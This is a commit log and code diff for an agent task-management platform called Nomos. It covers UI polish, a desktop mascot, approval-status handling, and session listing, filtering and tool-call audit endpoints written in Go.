14 Commits

Author SHA1 Message Date
ccbf6a8aac fix(nomos): sessions blocked on an execution approval now show "Needs input" and never idle-close
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
A config_mutation/destructive run() queued for approval never touched
agent_sessions.status — only ask_operator did that, setting
awaiting_input. So a task blocked on an execution approval was
indistinguishable from one still genuinely working: the frontend's
"Needs input" bucket only checks status===awaiting_input (never lit
up for these), and the idle-sweep safety net only excludes
awaiting_input from its stale-task query, so after ~30 minutes idle
it would nudge the agent and then auto-close the task with
outcome=partial while the approval was still sitting there undecided.

classifyAndGate now flips the session into awaiting_input the moment
an execution is queued (internal/mcp/server.go), and DecideApproval
flips it back to executing once the approval is approved, denied, or
revoked (internal/httpapi/approvals.go) — mirroring askOperator /
answerQuestion's existing pattern for session_questions. Both emit
task.status so the board updates live.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 12:28:52 +02:00
ef2956619f fix(web): pin the tasks table header while scrolling
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
sticky top-0 on each <th> (not the <thead> itself — more consistent
sticky support across browsers for table headers) plus a background so
scrolled rows don't show through underneath it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 12:15:13 +02:00
dffe01fb02 fix(web): use the terracotta accent instead of green for done checkmarks
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
text-primary instead of text-success — keeps the "done" state on-brand
with the rest of the UI (buttons, focus rings) rather than introducing
a separate green that only really worked well on the dark theme.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 12:12:00 +02:00
0f9e366ad5 fix(web): tool-call checkmarks nearly invisible on the terracotta (light) theme
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
text-success/50 and /60 washed out to almost nothing against the light
theme's cream card background — full-opacity text-success still reads
as a calm, muted green (not alarming) but is actually visible on both
themes.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 11:46:49 +02:00
052230209c fix(web): task launcher textarea no longer grows while typing; less transparent windows on Firefox
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
The launcher's textarea inherited the base Textarea component's default
field-sizing:content (auto-grow to fit typed content) — ChatThread's
input already overrides this with field-sizing-fixed, but the desktop
launcher never did, so the box would jump taller the moment you started
typing. Also bumps the floating-window frosted-glass opacity from 70%
to 85%: backdrop-filter's blur strength isn't consistent across
engines, and Firefox blurs noticeably less than Chromium at the same
radius, making the Chromium-tuned opacity look far too see-through
there.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 11:41:14 +02:00
e5a81241b7 feat(web): operator questions inline in chat, mascot reactions scoped to the focused task
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
The pending operator-question card now renders inline in ChatThread (the
newest thing in the conversation) instead of in the context rail — it's
part of the chat, not a separate side panel, and the panel's hasContext
gate no longer needs to special-case it.

The desktop mascot's reactions are now entirely about whichever task
window has focus, not fleet-wide events: thinking/talking is a new
continuous `busy` behavior that tracks the focused session's own
streaming state (thinking before any text arrives, talking once it
does — using the previously-unwired peep/talk sprite), eureka fires with
the actual knowledge title that was recorded, happy fires with the
task's own completion summary, and alarmed now means "this task needs
your OK" (an operator question was raised) rather than a fleet-wide
critical/signal event.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 10:46:46 +02:00
6b6bfe1fd8 feat(web): new task opens straight into chat, context rail waits for content, frosted windows
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
New Task now opens directly as an empty ChatThread (NewTaskChat) instead of
a separate compose screen, sized like a real task window. The Scope/Activity
context rail in a task window no longer renders until there's actually
something to show (touched entities, activity, or an open question),
avoiding an empty-placeholder sidebar on every new task. Also fixes the
chat input defaulting to several lines tall on window open, centers the
empty-chat greeting vertically, and gives floating windows the same
frosted-glass look as the desktop's task launcher card.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-21 09:50:47 +02:00
ce34cfeac7 feat(web+nomos): fix chat streaming reactivity, unified activity timeline, tool cards in chat
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
- fix(web): Svelte 5 identity-based reactivity broke text_delta streaming —
  immutable message objects in all three chat handlers so text streams live
- feat(web): streaming cursor + inline status indicator merged into message flow
- feat(web): expandable inline tool call cards in chat thread
- feat(web): merge Plan + Event log into one backbone Activity timeline —
  filled status nodes, branch stubs, auto-scroll follow mode, per-session
  activityLog, compact for the rail
- fix(nomos): add X-Accel-Buffering:no to /chat SSE (proxy buffering)
- fix(nomos): plan step auto-close SQL param bug (store.go)
- polish: timestamps, role labels, code copy button, table overflow, min
  window size, delete AgentIndicator/ActivityTimeline dead code
2026-07-21 07:49:02 +02:00
55b93c59ef fix(web): remove redundant GraphBackground from Tasks page
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
2026-07-21 00:18:17 +02:00
eb3d2de1ca feat(web): mascot physics juice (bounce, skid, spring squash, hop) + typewriter speech bubble
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
2026-07-21 00:06:44 +02:00
d82095213a fix(web): mascot physics, drag reliability, and speech-bubble polish
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
Audits and fixes ground-teleport/flat-fall/toss-momentum physics bugs,
fixes drag getting stuck via missing pointercancel handling, replaces
sprite-based speech bubbles with real HTML text/emoji bubbles, adds
drag-onto-icon "investigate" reactions and idle chatter, merges the
name badge and reaction bubble into one floating element, and caps the
bubble to one line with a teleprompter-style auto-scroll instead of
ellipsizing overflow text.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-20 23:23:30 +02:00
7b1dfbc8aa feat(web): desktop mascot ("Cluck") — egg/chick/adult tamagotchi that roams the desktop, reacts to chat/events, walks on top of windows
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
Implements plans/2026-07-20-desktop-mascot.md. New code under
web/src/lib/mascot/ (types/sprites/render/state/behavior/actions/
stimuli + Mascot/MascotLayer/RadialMenu/NameDialog components) plus
CC0 sprite sheets at web/public/mascot/ (chicken + Onocentaur egg pack
+ reaction bubbles). MascotLayer is inserted into Desktop.svelte after
WindowLayer; <2-line integration.

Tamagotchi: egg -> chick -> adult lifecycle persisted to
localStorage['oikos-mascot'] (debounced 300ms). Egg hatches on first
naming (no timed incubation per implementation deviation). Chick/adult
wander, peck, sleep, blink autonomously via a weighted-random FSM; the
chicken walks above windows (ground line = highest window top edge
beneath its x, recomputed each tick from wmState; rides the ground when
the window beneath is dragged).

Interaction: draggable with flutter-fall physics on release mid-air;
plain click = pet (heart bubble + happy anim); right-click opens a
rounded-button radial menu (Interact/Care/Identity/Debug nested groups)
mirroring the desktop's own right-click menu styling; auto-flips above/
left near screen edges.

Awareness: stimulus bus subscribes to chat.ts streaming, activity.ts
activityLog (knowledge-entry diff), events.ts liveEvents (critical/
signal -> alarmed, execution -> happy), with priority+cooldown gating.
Egg-stage reactions are suppressed. Reaction bubbles are anti-aliased.

Sprite loop runs at ~60fps via setTimeout (not rAF) per GraphBackground
convention, dt clamped to 100ms; position via transform: translate3d
+ will-change: transform for compositor-friendly motion. Z-index
ordering: WindowLayer z-40 < MascotLayer z-[45] < desktop context menu
z-50 < RadialMenu/NameDialog z-[60].

Docs: plan + docs/mascot/README.md (MBSE subsystem model) updated to
Implemented with a deviations note covering hatch-on-naming, PNG-sheet
art, button-column radial menu, 60fps loop, egg-reaction suppression,
and window-walking ground model. VERSION bumped 0.7.13 -> 0.8.0.
2026-07-20 14:27:48 +02:00
f1cdf4ea13 chore: trigger webhook redelivery (verify ALLOWED_HOST_LIST fix)
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
2026-07-20 11:47:59 +02:00
e055a7c6ce feat(nomos): session-review improvements (P0/P1/P2 from 2026-07-20 audit)
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled
Classifier now unwraps pct exec / qm guest exec / bash -c / sh -c / sudo
and env-var assignments before classification, so read-only inspection
wrapped in pct exec no longer escalates to config_mutation. curl GET
(default method, no -d/-F/-T/-o/>) is read-only. Eliminates the three
duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) that bounced
off the classifier for the same goal.

New classify_command MCP tool: command-scoped preflight that returns the
exact risk class run would assign. Documented in SOUL.md with guidance
to pre-classify before run when the verdict is uncertain.

set_goal surfaces prior partial/failed sessions from the last 24h so the
agent picks up the thread instead of rediscovering it.

completeTask auto-closes in-flight plan steps (pending/running -> done
on success, skipped on partial/failure), so one-step plans no longer
need the per-step running->done dance right before completion.

Migration 021 adds blocker + closed_at to agent_sessions. completeTask
sets closed_at once and derives a structured blocker reason
(approval_timeout, user_abandoned, classifier_overreach, model_refusal,
tool_error, ...) from the last assistant message.

/sessions list now carries message_count, tool_call_count,
duration_seconds (server-side aggregates — no more N+1 transcript
fetches to audit a fleet). GET /sessions/{id} returns both metadata
and messages. New query params filter + paginate: outcome, status,
entity_id, blocker, since (RFC3339 or Go duration), cursor, limit.

Titles now prefer the goal when set; sessions without a goal fall back
to the first assistant text.

New GET /sessions/{id}/tool_calls flat view for audit scripts.

Plan: plans/2026-07-20-session-review-ten-sessions.md. VERSION 0.7.12 -> 0.7.13.
2026-07-20 11:32:31 +02:00
63 changed files with 5626 additions and 516 deletions

View File

@@ -1 +1 @@
0.7.12
0.10.0

View File

@@ -11,6 +11,7 @@ import (
"net/http"
"os"
"os/signal"
"strconv"
"strings"
"sync"
"syscall"
@@ -213,6 +214,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
w.Header().Set("Content-Type", "text/event-stream")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
w.WriteHeader(200)
ctx := r.Context()
@@ -352,8 +354,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
// Generate a meaningful title from the assistant's first answer
// instead of reusing the raw user message for every session.
// P2.9 (2026-07-20): prefer the goal as the title when one is set —
// the first assistant text is often a greeting or narrative that
// doesn't describe the task ("Hey! 👋 Nomos here, running on
// mac-mini:8092..."). The goal is the operator's actual intent.
// Sessions that never call set_goal (pure Q&A) fall back to the
// assistant text, which is still better than the raw user message.
if finalText != "" && sessionID != "ephemeral" {
title := truncate(finalText, 80)
var goalTitle string
if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
goalTitle = truncate(sess.Goal, 120)
}
title := goalTitle
if title == "" {
title = truncate(finalText, 80)
}
if title != "" {
st.updateSessionTitle(pctx, sessionID, title)
}
@@ -371,13 +386,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
return
}
sessions, err := st.listSessions(r.Context())
// P2.8 (2026-07-20): filtering + pagination. The audit script in
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
// client-side; "show me partial sessions touching lxc:rclone"
// required fetching the full list and filtering in JS. Push the
// filters into SQL so the audit becomes a single `curl | jq`.
// Supported query params (all optional, composable):
// ?outcome=partial|success|failure — exact match on outcome
// ?status=active|done|failed|executing — exact match on status
// ?entity_id=<uuid> — exact match on entity_id
// ?since=<RFC3339 or duration> — last_active_at >= ...
// ?blocker=<reason> — exact match on blocker
// ?limit=<int> — default 50, max 200
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
q := r.URL.Query()
limit := 50
if v := q.Get("limit"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
limit = n
}
}
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
Outcome: q.Get("outcome"),
Status: q.Get("status"),
EntityID: q.Get("entity_id"),
Blocker: q.Get("blocker"),
Since: q.Get("since"),
Cursor: q.Get("cursor"),
Limit: limit,
})
if err != nil {
http.Error(w, err.Error(), 500)
return
}
// Next-page cursor: the oldest last_active_at in this page. The next
// request passes it as ?cursor=... to get the page before it. Empty
// when the list is exhausted.
var nextCursor string
if len(sessions) > 0 {
oldest := sessions[len(sessions)-1].LastActiveAt
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
if len(sessions) < limit {
nextCursor = "" // last page
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
json.NewEncoder(w).Encode(map[string]any{
"sessions": sessions,
"next_cursor": nextCursor,
"limit": limit,
})
}
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
@@ -417,6 +475,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
// the context panel when it first opens a task; live events carry deltas
// from there.
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
// session, without the two-level message-shell nesting. The audit at
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
// Python to walk messages[].content.tool_calls[]; this endpoint makes
// it a single `curl | jq`.
if len(parts) == 2 && r.Method == http.MethodGet {
switch parts[1] {
case "plan":
@@ -437,6 +500,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
return
case "tool_calls":
calls, err := st.getSessionToolCalls(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
return
}
}
@@ -449,14 +521,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
w.WriteHeader(204)
case http.MethodGet:
// getMessages alone can't distinguish "session exists but has no
// messages yet" from "session id doesn't exist at all" — it's a
// plain WHERE session_id=$1 query that returns zero rows either
// way. A frontend window opened for a deleted/invalid session
// (persisted layout, a stale link) needs to tell those apart, so
// check existence explicitly and 404 rather than silently
// returning an empty transcript that looks like a fresh task.
if _, err := st.getSession(r.Context(), id); err != nil {
// P2.7 (2026-07-20): return BOTH session metadata and messages
// from GET /sessions/{id}. Previously this endpoint returned only
// {session_id, messages} — the operator had to merge with the
// /sessions list view to get title/goal/outcome. The eval harness
// at cmd/nomos/eval/main.go:302-303 already carries a comment
// about this leaky abstraction. The session field carries the
// full metadata: title, goal, outcome, summary, blocker,
// pending_approvals, message_count, tool_call_count, etc. The
// messages field is unchanged. Clients that only read
// `messages` keep working.
sess, err := st.getSession(r.Context(), id)
if err != nil {
if err == pgx.ErrNoRows {
http.Error(w, "session not found", 404)
return
@@ -470,7 +546,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
json.NewEncoder(w).Encode(map[string]any{
"session_id": id,
"session": sess,
"messages": messages,
})
default:
http.Error(w, "method not allowed", 405)

View File

@@ -86,18 +86,39 @@ func (s *store) close() {
// session is a chat session elevated to a task: goal-structured work with a
// lifecycle status and an outcome (see migration 018 / the task-board plan).
// Outcome/Summary/EntityID are empty until set, hence omitempty.
//
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
// LastActiveAt — the latter is touched on any access (including a UI
// transcript view), the former is set ONCE at completion. Without it,
// "duration" computed as last_active - created lies for reopened sessions
// (a51e2086 reported 4-day duration because the operator reopened it).
// Blocker is a short structured reason: approval_timeout,
// classifier_overreach, user_abandoned, tool_error, etc. See
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
type session struct {
ID string `json:"id"`
Title string `json:"title"`
Actor string `json:"actor"`
Goal string `json:"goal"`
Status string `json:"status"`
Outcome string `json:"outcome,omitempty"`
Summary string `json:"summary,omitempty"`
EntityID string `json:"entity_id,omitempty"`
PendingApprovals int `json:"pending_approvals"`
CreatedAt time.Time `json:"created_at"`
LastActiveAt time.Time `json:"last_active_at"`
ID string `json:"id"`
Title string `json:"title"`
Actor string `json:"actor"`
Goal string `json:"goal"`
Status string `json:"status"`
Outcome string `json:"outcome,omitempty"`
Summary string `json:"summary,omitempty"`
EntityID string `json:"entity_id,omitempty"`
PendingApprovals int `json:"pending_approvals"`
Blocker string `json:"blocker,omitempty"`
CreatedAt time.Time `json:"created_at"`
LastActiveAt time.Time `json:"last_active_at"`
ClosedAt *time.Time `json:"closed_at,omitempty"`
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
// "how big was this task?" without N+1 transcript fetches. The audit
// had to pull every session's full message tree to count tool calls —
// ~600 KB of JSON for 10 sessions. With these, the list view is a
// single round trip. omitempty so getSession for a brand-new session
// with zero activity doesn't emit zeros.
MessageCount int `json:"message_count,omitempty"`
ToolCallCount int `json:"tool_call_count,omitempty"`
DurationSeconds int `json:"duration_seconds,omitempty"`
}
type message struct {
@@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
}
func (s *store) listSessions(ctx context.Context) ([]session, error) {
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
}
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
// (filtering & pagination). All fields optional; empty values are no-ops.
// The handler in main.go parses query params into this struct so the SQL
// builder here is the single source of truth for what filters exist.
type listFilter struct {
Outcome string // exact match on outcome (success/partial/failure)
Status string // exact match on status (active/done/failed/executing)
EntityID string // exact match on entity_id (UUID)
Blocker string // exact match on blocker reason
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
Cursor string // last_active_at < cursor (RFC3339) — page back in time
Limit int // default 50, clamped by the handler
}
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
if s == nil {
return nil, nil
}
rows, err := s.pool.Query(ctx,
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
s.created_at, s.last_active_at
if f.Limit <= 0 {
f.Limit = 50
}
// Build the WHERE clause dynamically. We use a single args slice with
// $N placeholders to keep pgx happy; the index increments per clause.
var (
where []string
args []any
n = 1
)
if f.Outcome != "" {
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
args = append(args, f.Outcome)
n++
}
if f.Status != "" {
where = append(where, fmt.Sprintf("s.status = $%d", n))
args = append(args, f.Status)
n++
}
if f.EntityID != "" {
// Accept UUID or string; cast gracefully if invalid.
if _, err := uuid.Parse(f.EntityID); err == nil {
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
args = append(args, f.EntityID)
n++
}
}
if f.Blocker != "" {
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
args = append(args, f.Blocker)
n++
}
if f.Since != "" {
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
// Try timestamp first, fall back to duration relative to now.
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
args = append(args, t)
n++
} else if d, err := time.ParseDuration(f.Since); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
args = append(args, d.Seconds())
n++
}
// Unknown format: silently drop the filter — better than erroring
// out and breaking the whole list. Caller can validate if needed.
}
if f.Cursor != "" {
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
args = append(args, t)
n++
}
}
whereClause := ""
if len(where) > 0 {
whereClause = "WHERE " + strings.Join(where, " AND ")
}
args = append(args, f.Limit)
limitArg := fmt.Sprintf("$%d", n)
query := fmt.Sprintf(`
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT l.session_id, COUNT(*) AS cnt
@@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
WHERE e.status = 'pending_approval'
GROUP BY l.session_id
) pa ON pa.session_id = s.id
ORDER BY s.last_active_at DESC LIMIT 50`)
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
GROUP BY session_id
) act ON act.sid = s.id
%s
ORDER BY s.last_active_at DESC
LIMIT %s`, whereClause, limitArg)
rows, err := s.pool.Query(ctx, query, args...)
if err != nil {
return nil, err
}
@@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
var sess session
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
return nil, err
}
out = append(out, sess)
@@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
}
var sess session
err := s.pool.QueryRow(ctx,
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
FROM agent_sessions WHERE id = $1`, id).
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
WHERE session_id = $1::uuid
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
AND session_id::uuid = $1::uuid
GROUP BY session_id
) act ON act.sid = s.id
WHERE s.id = $1`, id).
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.CreatedAt, &sess.LastActiveAt)
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
if err != nil {
return nil, err
}
return &sess, nil
}
// recentPartialSessions returns recent sessions (within `since`) whose outcome
// is partial or failed, excluding the current session. Used by the set_goal
// handler to surface prior unfinished work on the same problem — three
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
// the classifier because each new session started from scratch. Surfacing the
// prior session's goal + summary at set_goal time lets the agent pick up the
// thread instead of rediscovering it. See
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
if s == nil {
return nil, nil
}
rows, err := s.pool.Query(ctx,
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT l.session_id, COUNT(*) AS cnt
FROM nomos_plan_executions l
JOIN executions e ON e.entity_id = l.execution_id
WHERE e.status = 'pending_approval'
GROUP BY l.session_id
) pa ON pa.session_id = s.id
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
GROUP BY session_id
) act ON act.sid = s.id
WHERE s.id <> $1
AND s.last_active_at >= now() - ($2 * interval '1 second')
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
ORDER BY s.last_active_at DESC
LIMIT 10`,
excludeSessionID, since.Seconds())
if err != nil {
return nil, err
}
defer rows.Close()
var out []session
for rows.Next() {
var sess session
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
return nil, err
}
out = append(out, sess)
}
return out, rows.Err()
}
// getMessages returns a session's ENTIRE message history, unbounded — used
// for the UI's own transcript view (GET /sessions/{id}), where the operator
// should be able to see everything a task has done regardless of how long
@@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
return out, rows.Err()
}
// SessionToolCall is the flat view of one tool call as exposed by
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
// the caller can decide how to render them (the audit case wanted raw
// text sizes, but other callers may want full JSON).
type SessionToolCall struct {
ID string `json:"id"`
Name string `json:"name"`
Args json.RawMessage `json:"args,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error string `json:"error,omitempty"`
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
MessageID string `json:"message_id"`
Role string `json:"role"`
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
CreatedAt time.Time `json:"created_at"`
}
// getSessionToolCalls walks a session's messages and returns a flat list of
// tool calls in chronological order, without the two-level message nesting.
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
// write Python to walk messages[].content.tool_calls[]; this method makes
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
// is emitted as two rows (same id, different Type), preserving the
// persisted shape — clients that want the merged shape can group by ID.
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
if s == nil {
return nil, nil
}
msgs, err := s.getMessages(ctx, sessionID)
if err != nil {
return nil, err
}
var out []SessionToolCall
seq := 0
for _, m := range msgs {
var payload struct {
ToolCalls []struct {
ID string `json:"id"`
Type string `json:"type"`
Name string `json:"name"`
Args json.RawMessage `json:"args"`
Result json.RawMessage `json:"result"`
Error string `json:"error"`
} `json:"tool_calls"`
}
if err := json.Unmarshal(m.Content, &payload); err != nil {
continue
}
for _, tc := range payload.ToolCalls {
if tc.ID == "" {
continue
}
seq++
out = append(out, SessionToolCall{
ID: tc.ID,
Name: tc.Name,
Args: tc.Args,
Result: tc.Result,
Error: tc.Error,
Type: tc.Type,
MessageID: m.ID,
Role: m.Role,
Seq: seq,
CreatedAt: m.CreatedAt,
})
}
}
return out, nil
}
// getRecentMessages returns the most recent `limit` messages for sessionID,
// in chronological order, plus whether older messages exist beyond that
// window. Used specifically for LLM replay (chatWith): without a bound,
@@ -528,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
